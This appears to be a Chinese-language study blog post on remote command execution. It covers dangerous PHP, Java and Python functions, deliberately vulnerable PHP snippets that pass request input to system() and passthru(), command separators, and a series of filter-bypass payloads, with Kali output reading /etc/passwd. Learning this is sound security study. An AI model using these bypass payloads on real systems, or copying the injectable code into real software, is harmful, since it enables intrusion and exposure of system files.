RCE
rce
漏洞描述
rce是指服务器没有对执行的命令进行过滤,用户可以任意的调用系统命令
漏洞原理
应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_popen
等函数可以执行系统命令,当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行
漏洞危害
可以继承web服务器权限,反弹shell
产生原因
- 过滤不严
- 系统存在漏洞
- 第三方插件
rce何代码执行的区别
- 代码执行:执行效果完全依赖于语言本身
- 命令执行:执行效果不受语言本身、命令本身的限制
常见的危险函数
1 | 1. php代码相关 |
危险函数调用
system
1 |
|
system:函数名字
string $command表示这个函数的第一个参数是一个string类型的字符串
&$return_var没有错,&表示的是这个参数是通过引用传递的1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
引用传递
就是通过引用传递函数可以让函数修改调用者传递进来的变量的值。
```简单的例子
<?php
// 定义一个函数,接受一个整数参数通过引用传递
function doubleValue(&$num) {
$num *= 2; // 将传递进来的参数乘以2
}
// 定义一个变量
$value = 10;
// 调用函数,传递变量 $value 作为参数
doubleValue($value);
// 输出变量 $value 的值,应为原来的值乘以2
echo $value; // 输出 20
?>
在这个示例中,doubleValue
函数接受一个参数 $num
,这个参数通过引用传递(使用 & 符号)。在函数内部,参数 $num
的值被乘以2。当在调用代码中将变量 $value
传递给函数时,函数修改了这个变量的值,使得最终输出结果为 20。
1 | <?php |
这里调用system函数获取了url的数值进行,php_eol是换行符
[![pkbTI41.png](https://s21.ax1x.com/2024/07/26/pkbTI41.png)](https://imgse.com/i/pkbTI41)
### passthru
-- 执行外部程序并且显示原始输出 1
2
3
4
5
6
7
8
9
10
11
12
用法:```passthru(string $command,int &$return_var=?):void```
```passthru
<?php
highlight_file(__FILE__);
if(isset($_REQUEST['url'])){
$url = ($_REQUEST['url']);
passthru($url,$a);
echo $a.PHP_EOL;
}
?>
执行命令```?url=dir > 22.txt
exec
1 |
|
1 | ?url=echo falgistrue > 222.txt |
shell_exec
shell_exec(string $cmd ):string
1 | <?php |
1 | echo falgistrue > 221.txt |
反引号
1 | <?php |
OS命令执行
windows支持的管道符
1 | | |
直接执行后面的语句,不管前面的是否可以
1 | || |
前面的语句执行错误才可以执行后面的
1 | & |
如果前面的语句为假则直接执行后面的语句,前面的语句可真可假
1 | && |
如果前面的语句为真先执行第一个命令后执行第二个命令;为假则直接出错,也不执行后面的语句
linux支持的管道符
1 | ; |
执行完前面的执行后面的
1 |
|
等于windows的
Java
Java SE 中,存在Runtime 类,在该类中提供了exec 方法用以在单独的进程中执行指定的字符串命令,像JSP、Servlet、 Struts、 Spring、 Hibernate 等技术一般执行外部程序都会调用此方法(或者使用ProcessBuilder类,但较少)
1 | import java. io.InputStream; //导包操作 |
https://i-blog.csdnimg.cn/blog_migrate/09d9415acac67ac95c041a356d92fc63.png
(先拿别人的图凑数(bushi))
python
1 | exec(string) # Python代码的动态执行 |
命令执行1
2
3
4
5system() # 执行系统指令
popen() # popen()方法用于从一个命令打开一个管道
subprocess.call # 执行由参数提供的命令
spawn # 执行命令
绕过
https://blog.csdn.net/qq_41315957/article/details/118855865
编码绕过
如果过滤了一些分隔符,可以尝试讲分隔符编码(url,base64)绕过
八进制绕过
1 | $(printf "\154\163") |
就是ls
十六进制
1 | echo "636174202F6574632F706173737764" | xxd -r -p|bash |
1 | ┌──(kali㉿kali)-[~] |
十六进制还有个字符串过滤的1
2
3
4
5
6┌──(kali㉿kali)-[~]
└─$ php -r '"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");'
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
空格绕过
linux内置的分隔符${IFS},$IFS,$IFS$9
或者利用重定向符<>
+,>过滤
对于 >,+ 等 符号的过滤 ,$PS2变量为>,$PS4变量则为+
关键字绕过
1 | 通过拆分命令达到绕过的效果:a=l;b=s;$a$b |
1 | ┌──(kali㉿kali)-[~] |
空变量
$*和$@,$x(x 代表 1-9),${x}(x>=10):比如ca${21}t a.txt表示cat a.txt
在没有传入参数的情况下,这些特殊字符默认为空,如下:1
2
3
4
5wh$1oami
who$@ami
whoa$*mi1
2
3
4
5
6
7
8
9
10
11┌──(kali㉿kali)-[~]
└─$ cat 1.txt
$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41
┌──(kali㉿kali)-[~]
└─$ ca{123}t 1.txt
ca{123}t:未找到命令
┌──(kali㉿kali)-[~]
└─$ ca${123}t 1.txt
$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41
花括号
在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}
来执行系统命令{cat,flag}
但是我反复尝试都不行,也不知道是为啥1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19┌──(kali㉿kali)-[~]
└─$ {cat,1.txt}
cat,1.txt:未找到命令
┌──(kali㉿kali)-[~]
└─$ ${cat,1.txt}
zsh: bad substitution
┌──(kali㉿kali)-[~]
└─$ ${cat,/etc/passwd}
zsh: bad substitution
┌──(kali㉿kali)-[~]
└─$ {cat,/etc/passwd}
zsh: 没有那个文件或目录: cat,/etc/passwd
┌──(kali㉿kali)-[~]
└─$ {cat,/etc/passwd}
zsh: 没有那个文件或目录: cat,/etc/passwd
无回显的命令执行
curl将命令的结果输出到访问的url中,可以在服务器中发现
(还没尝试,应该可行)
get_defined_functions
php -r 'print_r(get_defined_functions()["internal"]);' | grep 'system'
这个PHP系统函数会返回一个多维数组,该数组包含一个所有已定义函数(包括内部函数和用户定义函数)列表。内部函数可以通过$arr[“internal”]来表示,用户定义的函数可以使用$arr[“user”]来表示。
用法1
2
3
4
5
6
7
8┌──(kali㉿kali)-[~]
└─$ php -r 'print_r(get_defined_functions()["internal"]);' | grep 'system'
[562] => system
┌──(kali㉿kali)-[~]
└─$ php -r 'print_r(get_defined_functions()["internal"]["562"]("whoami"));'
kali
kali
字符数组
PHP中的每个字符串都可视为一个字符数组,并且可以通过语法$string[2]或 $string[-3]来引用单个字符,这同时也是另一种绕过安全规则的方法
例如,仅仅使用字符串$a=”elmsty/ “;,我就可以组成命令执行语句system(“ls /tmp”);1
2
3
4
5
6
7
8
9
10
11
12┌──(kali㉿kali)-[~]
└─$ php -r '$s="elmsty/ "; ($s[3].$s[5].$s[3].$s[4].$s[0].$s[2])($s[1].$s[3].$s[-1].$s[-2]."tmp");'
ssh-IsnyfG8atHyV
systemd-private-4ca3281a17864fe887e7753be4b15603-colord.service-LL67Bu
systemd-private-4ca3281a17864fe887e7753be4b15603-haveged.service-mIMcQ1
systemd-private-4ca3281a17864fe887e7753be4b15603-ModemManager.service-Ht7xiS
systemd-private-4ca3281a17864fe887e7753be4b15603-polkit.service-Zscji7
systemd-private-4ca3281a17864fe887e7753be4b15603-systemd-logind.service-MwIoxj
systemd-private-4ca3281a17864fe887e7753be4b15603-systemd-timesyncd.service-qVL8zc
systemd-private-4ca3281a17864fe887e7753be4b15603-upower.service-2qUlm5
VMwareDnD
vmware-root_620
引号逃逸
$a = (string)foo;在这种情况下,变量$a就是字符串“foo”
https://i-blog.csdnimg.cn/blog_migrate/e401020e7f9c2719f702aebd942af74f.png
DNSlog外带
当你有一个二级域名,比如test.vernus.top当有主机风闻1111.test.vernus.top的时候,就会被记录下来解析请求,这里的话我们就可以将代码放到前面了
具体可以参考这个